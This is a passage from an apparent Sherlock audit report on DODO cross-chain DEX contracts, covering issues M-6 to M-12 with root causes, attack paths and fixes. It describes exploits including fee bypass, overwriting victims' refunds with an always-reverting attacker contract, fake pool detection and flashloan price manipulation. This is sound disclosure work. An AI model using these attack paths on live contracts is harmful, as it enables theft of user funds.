1. User calls withdrawToNativeChain intending to swap ZETA (native token) to some ZRC20 token (sets zrc20 to native address and amount equal to msg.value).
2. The fee is paid (assuming the inability to transfer fee when native token is zrc20 is fixed).
3. _doMixSwap is called.
4. Inside _doMixSwap, mixSwap is called and msg.value is passed without deducting the fee.
5. Inside mixSwap, the _deposit function is called. Since isEth is true, a check is performed to verify if msg.value == amount.
6. Since the values are not equal, the function reverts.

This behavior will prevent ZETA token swaps whenever the transfer fee is different from 0.

Impact

Attempts to swap ZETA for some other ZRC20 will fail since the msg.value passed to the mixSwap function will differ from the fromTokenAmount value (fromTokenAmount should be equal to msg.value - fee, but also mixSwap call should be mixSwap{value: msg.value-fee}(...)). This will break the contract's ability to swap ZETA for ZRC20 whenever the fee is set to a non-zero value.

PoC

No response

Mitigation

Consider deducting the fee from msg.value when calling mixSwap (msg.value - fee).

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Skyewwww/omni-chain-contracts/pull/28

Issue M-6: GatewayTransferNative does not collect platform fee when native asset is bridged

Source: https://github.com/sherlock-audit/2025-05-dodo-cross-chain-dex-judging/issues/700

Found by

0xc0ffEE, Goran, IvanFitro, SarveshLimaye

Summary

The `withdrawToNativeChain` function of `GatewayTransferNative` fails to collect platform fees when users bridge native asset. While the function is designed to accept native asset payments through its payable modifier, the fee collection mechanism silently fails due to a low-level call to a non-contract address. This allows users to bridge native asset while completely bypassing the platform's fee collection, resulting in lost revenue for the protocol.

Root Cause

User will provide `_ETH_ADDRESS_` as `zrc20` param in withdrawToNativeChain function when bridging native asset. Then, internal function `_handleFeeTransfer` is called:

```
function withdrawToNativeChain(address zrc20, uint256 amount, bytes calldata
↪  message) external payable {
    if (zrc20 != _ETH_ADDRESS_) {
        require(
            IZRC20(zrc20).transferFrom(msg.sender, address(this), amount),
            "INSUFFICIENT ALLOWANCE: TRANSFER FROM FAILED"
        );
    }

    // ...

    // Transfer platform fees
    uint256 platformFeesForTx = _handleFeeTransfer(zrc20, amount); // platformFee
↪  = 5 <> 0.5%
    amount -= platformFeesForTx;
```

There, transfer helper is used to collect fees:

```
function _handleFeeTransfer(address zrc20, uint256 amount) internal returns
↪  (uint256 platformFeesForTx) {
    platformFeesForTx = (amount * feePercent) / 1000; // platformFee = 5 <> 0.5%
```

```
    TransferHelper.safeTransfer(zrc20, EddyTreasurySafe, platformFeesForTx);
}
```

That's where the problem lies - since asset is native asset and not erc20 token, direct ETH transfer methods should be used instead of erc20-transfer:

```
function safeTransfer(address token, address to, uint value) internal {
    // bytes4(keccak256(bytes('transfer(address,uint256)')));
    (bool success, bytes memory data) =
↪   token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
    require(success && (data.length == 0 || abi.decode(data, (bool))),
↪   'TransferHelper: TRANSFER_FAILED');
}
```

What happens instead is that low level call 'transfer(address,uint256)' is executed on `address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)`. Since there's no code at the address, call will be successful even though no funds were moved. TX execution normally proceeds while protocol collected 0 fees.

Internal Pre-conditions

None

External Pre-conditions

User initiates a native asset bridge transaction by calling `withdrawToNativeChain` with `zrc20 = _ETH_ADDRESS_`

Attack Path

1. User calls `withdrawToNativeChain(_ETH_ADDRESS_, amount, message)` with 0 value
2. Function skips token collection validation for native ETH
3. Platform calculates fee: `platformFeesForTx = (amount * feePercent) / 1000`
4. `_handleFeeTransfer` attempts to transfer fees but calls non-contract address `_ETH_ADDRESS_`
5. Low-level call returns success without actual transfer
6. Bridge proceeds with zero fees collected Result: User bridges native asset, but protocol receives no revenue

Impact

Medium severity - revenue loss for the protocol

PoC

No response

Mitigation

Implement proper native asset fee collection

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Skyewwww/omni-chain-contracts/pull/28

Issue M-7: Attacker can overwrite legitimate refunds Info by triggering GatewayTransferNative::onRevert

Source: https://github.com/sherlock-audit/2025-05-dodo-cross-chain-dex-judging/issues/855

Found by

0xc0ffEE, 0xdice91, 0xiehnnkta, 0xlucky, 4n0nx, Abhan1041, AestheticBhai, AnomX, EgisSecurity, King_9aimon, Nomadic_bear, Ob, Oxsadeeq, PNS, Phaethon, X0sauce, Yaneca_b, elolpuer, grandson, harry, hiroshi1002, iamandreiski, jongwon, n08ita, patitonar, phrax, roadToWatsonN101, sheep, shushu, silver_eth

Summary

The `GatewayTransferNative::onRevert` function allows an attacker to overwrite legitimate, pending refunds. This is because `GatewayTransferNative` used RevertMessage to do accounting of refunds. However, the `revertMessage` should be validated.

Root Cause

The `onRevert` function does not validate whether a `RefundInfo` already exists for a given `externalId` before creating a new one. It blindly overwrites the storage slot.

Internal Pre-conditions

None.

External Pre-conditions

None.

Attack Path

1. Attacker monitors for a legitimate user's transaction to fail, causing `onAbort` to be called. A `RefundInfo` is stored with the key `VICTIM_EXTERNAL_ID`. The contract now holds, for example, 1000e6 zUSDC that is meant for the victim in `refundInfo`.
2. The attacker initiates a cross-chain transaction that is designed to fail and trigger `GatewayTransferNatice::onRevert`.

He can make any contract on destination evm chain as follows

```
contract AttackerContract{
    constructor(){

    }
    function onCall ( MessageContext calldata context,
        address zrc20,
        uint256 amount,
        bytes calldata message
    ) external override onlyGateway {
        // always revert
        revert();
    }
}
```

This can be done by calling `GatewayZEVM::withdrawAndCall` specifying the following details:

```
function withdrawAndCall(
        bytes memory receiver, // attackerContract
        uint256 amount, // 1
        address zrc20,// zUSDC
        bytes calldata message,
        CallOptions calldata callOptions,
        //CallOptions({
        //        isArbitraryCall: false,
        //        gasLimit: 100_000
        //    }),
        RevertOptions calldata revertOptions
        // RevertOptions({
        //     revertAddress: address(GatewayTransferNatie)
        //     callOnRevert: true,
        //     abortAddress: address(GatewayTransferNative)
        //     revertMessage: bytes.concat(VICTIM_EXTERNAL_ID,
↪   bytes32(uint256(123456789)),
        //     onRevertGasLimit: 100_000
        // })
    )
```

3. This will cause `GatewayTransferNative::onRevert` to be called, where the `else` statement is executed as shown here. This will override `refundinfo[VICTIM_EXTERNAL_ID].walletAddress` to be overriden to the `bytes32(uint256(123456789))`, at the cost of only 1 wei of zUSDC.

Impact

Legitimate User's funds that were refunded via `onAbort` cannot be withdrawn back to the rightful owner as the `refundInfo[VICTIM_EXTERNAL_ID].walletAddress` had been posioned by an attacker.

PoC

Please refer to Attack Path.

Mitigation

Fix is non trivial as `RevertMessage` cannot be trusted.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Skyewwww/omni-chain-contracts/pull/25

Issue M-8: False “pool exists” detection via balanceOf() leads to broken swap paths

Source: https://github.com/sherlock-audit/2025-05-dodo-cross-chain-dex-judging/issues/856

This issue has been acknowledged by the team but won't be fixed at this time.

Found by

0xEkko, 1337, AnomX, Cybrid, EgisSecurity, Ob, ZeroTrust, hy, mahdiRostami, peppef, roadToWatsonN101, rsam_eth, silver_eth, the_haritz

Summary

The function `_existsPairPool()` in `GatewayCrossChain.sol` and `GatewayTransferNative.sol` uses `ERC20.balanceOf()` at a computed UniswapV2 pair address to infer pool existence. Because any address can hold tokens–even without a deployed pair contract–this check produces false positives. Consequently, `getPathForTokens()` may return a direct token–token path that does not actually exist, triggering downstream transaction reverts and denial of service.

Root Cause

In both contracts, `_existsPairPool()` is implemented as follows: https://github.com/sherlock-audit/2025-05-dodo-cross-chain-dex/blob/main/omni-chain-contracts/contracts/GatewayCrossChain.sol#L207-L220

This logic never verifies that `pool` has deployed contract code, nor does it read real reserves via `getReserves()`. It thus treats any stray token balances at that address as liquidity.

Internal Pre-conditions

1. A call to `getPathForTokens(tokenA, tokenB)` is made.
2. `_existsPairPool()` returns `true` because the computed address holds non-zero balances of both tokens.
3. The actual UniswapV2 pair contract was never deployed at that address.

External Pre-conditions

1. An EOA or arbitrary contract receives `tokenA` and `tokenB` transfers at the computed pool address.

2. The true UniswapV2 factory has not created a pair for `(tokenA, tokenB)`.

Attack Path

1. Attacker transfers small amounts of `tokenA` and `tokenB` to the computed pair address (no contract deployed).
2. User or protocol calls `getPathForTokens(tokenA, tokenB)`.
3. `_existsPairPool()` returns `true` (false positive).
4. `getPathForTokens()` returns `[tokenA, tokenB]` instead of fallback path.
5. Downstream swap via UniswapV2 router (e.g., `swapExactTokensForTokens`) attempts to interact with a non-existent pool contract.
6. Transaction reverts, causing denial of service.

Impact

1. Denial of Service: Legitimate swaps between `tokenA` and `tokenB` cannot execute.
2. Broken UX: Cross-chain transfers or swaps fail unexpectedly whenever a fake “liquidity” address is used.

PoC

No response

Mitigation

No response

Issue M-9: Improper ETH Refund Handling in Gateway Send.onRevert()

Source: https://github.com/sherlock-audit/2025-05-dodo-cross-chain-dex-judging/issues/905

Found by

0xEkko, 0xc0ffEE, 0xlucky, Abhan1041, AnomX, AshishLac, ChaosSR, Goran, IvanFitro, Kirkeelee, Ob, PratRed, SafetyBytes, X0sauce, benjamin_0923, hunt1, radevweb3, roadToWatsonN101, rsam_eth, shushu, tyuuu

Summary

The GatewaySend contract's onRevert() function mishandles native ETH refunds for failed cross-chain transactions by using TransferHelper.safeTransfer(), which is designed exclusively for ERC20 tokens. When the function attempts to refund ETH, it tries to call an ERC20 transfer() method on this non-existent contract address, causing the transaction to fail. As a result, ETH remains trapped in the contract, preventing users from recovering their funds.

Root Cause

https://github.com/sherlock-audit/2025-05-dodo-cross-chain-dex/blob/main/omni-chain-contracts/contracts/GatewaySend.sol#L394C6-L396C76

Internal Pre-conditions

N/A

External Pre-conditions

N/A

Attack Path

A user attempts to bridge 3 ETH from Ethereum to polygon Chain via depositAndCall(). The transaction fails on the destination chain, and the ZetaChain Gateway returns the ETH to GatewaySend. The onRevert() function tries to refund the ETH using TransferHelper.safeTransfer(ETH_ADDRESS, user, 3 ETH), which fails because ETH_ADDRESS is not an ERC20 contract. The ETH remains stuck in the contract, leaving the user unable to recover their funds.

Impact

Fund Lockup: ETH from failed transactions becomes trapped, causing permanent loss for users.

User Experience Degradation: Inability to recover funds undermines trust in the bridging system.

PoC

No response

Mitigation

native transfer should be handle in onRevert()

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Skyewwww/omni-chain-contracts/pull/26

Issue M-10: Wrong encoding of BTC receiver in revert options

Source: https://github.com/sherlock-audit/2025-05-dodo-cross-chain-dex-judging/issues/916

Found by

0xEkko, 0xShoonya, Aenovir, AnomX, EgisSecurity, Goran, Ob, PolarizedLight, elolpuer, fromeo_016, montecristo, oxch0w, pyk, rsam_eth, shushu

Summary

BTC addresses are casted to 20 bytes resulting in incorrect addresses

Root Cause

When gateway calls `GatewayCrossChain::onCall` or user calls `GatewayTransferNative::withdrawToNativeChain` to withdraw zBTC (BTC to native chain), the `_handleBitcoinWithdraw` constructs the revertOtions with `decoded.receiver` but casts the `decoded.receiver` to 20 bytes which is wrong for BTC wallets (BTC addresses are bech32): https://github.com/sherlock-audit/2025-05-dodo-cross-chain-dex/blob/main/omni-chain-contracts/contracts/GatewayCrossChain.sol#L363-L377

```
function _handleBitcoinWithdraw(
        bytes32 externalId,
        DecodedMessage memory decoded,
        uint256 outputAmount,
        uint256 gasFee
    ) internal {
        if (gasFee >= outputAmount) revert NotEnoughToPayGasFee();
        IZRC20(decoded.targetZRC20).approve(
            address(gateway),
            outputAmount + gasFee
        );
        withdraw( //==> call withdraw here
            externalId,
            decoded.receiver, //==> second parameter is decoded.receiver which is
 ↪  the BTC wallet to receive funds
            decoded.targetZRC20,
            outputAmount - gasFee
        );
    }
```

https://github.com/sherlock-audit/2025-05-dodo-cross-chain-dex/blob/main/omni-chain-contracts/contracts/GatewayCrossChain.sol#L291

```
function withdraw(
    bytes32 externalId,
    bytes memory sender, //==> second parameter is decoded.receiver which is the
↪  BTC wallet to receive funds
    address outputToken,
    uint256 amount
) internal {
    gateway.withdraw(
        sender,
        amount,
        outputToken,
        RevertOptions({
            revertAddress: address(this),
            callOnRevert: true,
            abortAddress: address(0),
            //==> cast sender to a bytes20 which results in a wrong address
            revertMessage: bytes.concat(externalId, bytes20(sender)),
            onRevertGasLimit: gasLimit
        })
    );
}
```

https://github.com/sherlock-audit/2025-05-dodo-cross-chain-dex/blob/main/omni-chain-contracts/contracts/GatewayCrossChain.sol#L522-L524

```
function onRevert(RevertContext calldata context) external onlyGateway {
    // 52 bytes = 32 bytes externalId + 20 bytes evmWalletAddress
    bytes32 externalId = bytes32(context.revertMessage[0:32]);
    bytes memory walletAddress = context.revertMessage[32:];

    if(context.revertMessage.length == 52) { //==> revertMessage length is 52 bytes
↪  in the BTC revert options
        address receiver = address(uint160(bytes20(walletAddress))); //==> wrong
↪  receiver
        TransferHelper.safeTransfer(context.asset, receiver, context.amount); //==>
↪  lost funds
```

This results in user refunds being sent to a wrong address

Internal Pre-conditions

- `decoded.receiver` is bytes representation of a valid BTC address

External Pre-conditions

- CCTX to send funds to BTC chain fails
- `onRevert` is called on `GatewayCrossChain` or `GatewayTransferNative`

Attack Path

1. Alice withdraws funds to BTC address 'bc1q2whrmp2a6j46sxjjk3c7xqs7e7tr7u3348pghu'
2. `RevertOptions.walletAddress` is set to `029d71ec2aeea55d40d295a38f1810f67cb1fb91` (used www.bech32converter.com to convert `bc1q2whrmp2a6j46sxjjk3c7xqs7e7tr7u3348pghu` to `029d71ec2aeea55d40d295a38f1810f67cb1fb91`)
3. onRevert function is called and funds are sent to `0x029d71ec2aeea55d40d295a38f1810f67cb1fb91`

Impact

- Broken refund logic
- Loss of user refunds

PoC

No response

Mitigation

Do not cast `walletAddress` to 20 bytes:

```
    function withdraw(
        bytes32 externalId,
        bytes memory sender,
        address outputToken,
        uint256 amount
    ) public {
        gateway.withdraw(
            sender,
            amount,
            outputToken,
            RevertOptions({
                revertAddress: address(this),
                callOnRevert: true,
                abortAddress: address(0),
-               revertMessage: bytes.concat(externalId, bytes20(sender)),
+               revertMessage: bytes.concat(externalId, sender),
```

```
                onRevertGasLimit: gasLimit
            })
        );
    }
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Skyewwww/omni-chain-contracts/pull/27

Issue M-11: Boolean Return Assumption in transfer From() Causes Token Compatibility Issues

Source: https://github.com/sherlock-audit/2025-05-dodo-cross-chain-dex-judging/issues/928

Found by

0xc0ffEE, 0xiehnnkta, 0xlucky, 0xpetern, 10ap17, Abhan1041, CoheeYang, Constant, Cybrid, Falendar, Goran, Greese, Kalyan-Singh, Oxsadeeq, Pianist, SafetyBytes, X0sauce, ZeroTrust, anirruth_, bube, cccz, dmdg321, eLSeR17, eightx, elolpuer, farismaulana, harry, holtzzx, iamandreiski, ifeco445, kazan, lls, mgf15, miracleworker0118, montecristo, n08ita, patitonar, radevweb3, rsam_eth, shushu, silver_eth, skipper, theweb3mechanic, wellbyt3, x0rc1ph3r, yoooo, zh1x1an1221

Summary

The GatewaySend contract incorrectly uses raw IERC20.transferFrom() calls wrapped in require() statements, expecting a boolean return value from all ERC20 tokens. However, tokens like USDT, which have a void return type, cause these calls to fail even when the transfer succeeds, as Solidity interprets the missing return as false. This makes the contract incompatible with major non-standard tokens, despite importing TransferHelper for safe transfers, which is not consistently applied.

Root Cause

https://github.com/sherlock-audit/2025-05-dodo-cross-chain-dex/blob/main/omni-chain-contracts/contracts/GatewaySend.sol#L232C1-L242C10

Internal Pre-conditions

N/A

External Pre-conditions

N/A

Attack Path

A user, Charlie, tries to bridge 5,000 USDT from Ethereum to Polygon using depositAndCall(). After approving the GatewaySend contract to spend 5,000 USDT, Charlie initiates the transfer. The contract calls IERC20(USDT).transferFrom(charlie,

contract, 5000), which successfully transfers the tokens, reducing Charlie's balance and increasing the contract's balance. However, since USDT's transferFrom returns void instead of true, Solidity interprets this as false, triggering the require() failure with the error "INSUFFICIENT AMOUNT: ERC20 TRANSFER FROM FAILED." The transaction reverts, wasting Charlie's gas fees and preventing the bridge operation.

Impact

Transaction Failures: Legitimate transfers revert, rendering the contract unusable for major tokens like USDT.

User Cost: Users lose gas fees due to failed transactions, degrading the bridging experience.

PoC

No response

Mitigation

safe transferrom shoyuld be used

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Skyewwww/omni-chain-contracts/pull/30

Issue M-12: An attacker will steal value from cross-chain swaps by manipulating liquidity used in _swapAndSendERC20Tokens()

Source: https://github.com/sherlock-audit/2025-05-dodo-cross-chain-dex-judging/issues/937

This issue has been acknowledged by the team but won't be fixed at this time.

Found by

0xc0ffEE, 0xpetern, 4b, Bizarro, Constant, Cybrid, EgisSecurity, Goran, JuggerNaut, Mimis, Ob, Petrus, ZeroTrust, bladeee, cccz, dhank, fromeo_016, iamandreiski, richa, sheep, silver_eth, the_haritz, upWay, x0lohaclohell

Summary

The reliance on spot reserves from `UniswapV2Library.getAmountsIn()` will cause a loss of value for cross-chain users as an attacker will manipulate liquidity pools to skew price quotes and steal excess input tokens.

Root Cause

In gatewayCrossChaine.sol:_swapAndSendERC20Tokens(), the contract uses `UniswapV2Library.getAmountsIn()` to estimate how many `targetZRC20` tokens are needed to obtain gasFee in `gasZRC20`. This quote is then used to swap tokens without checking for liquidity manipulation, allowing attackers to front-run the contract and change pool pricing.

Internal Pre-conditions

.

External Pre-conditions

.

Attack Path

1. Attacker identifies a low-liquidity or custom pool for a token pair used in `getPathForTokens()`.
2. Attacker front-runs a cross-chain user operation, sending a transaction that manipulates the reserves in the pool (e.g via a flashloan).

3. The contract executes `_swapAndSendERC20Tokens()` using skewed reserves from `getAmountsIn()`, miscalculating the required amount.
4. As a result, the attacker receives an overpayment or manipulates swap slippage to extract value.
5. After the swap completes, the attacker reverts the pool to its original state and profits from the imbalance.

Impact

The cross-chain user suffers a loss in `targetZRC20` tokens, which are overpaid due to manipulated pricing. The attacker gains the difference between the quoted and fair amount or causes a denial of service by making the swap fail (griefing).

PoC

No response

Mitigation

Enforce a hard slippage limit

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users' sole risk and is the users' responsibility.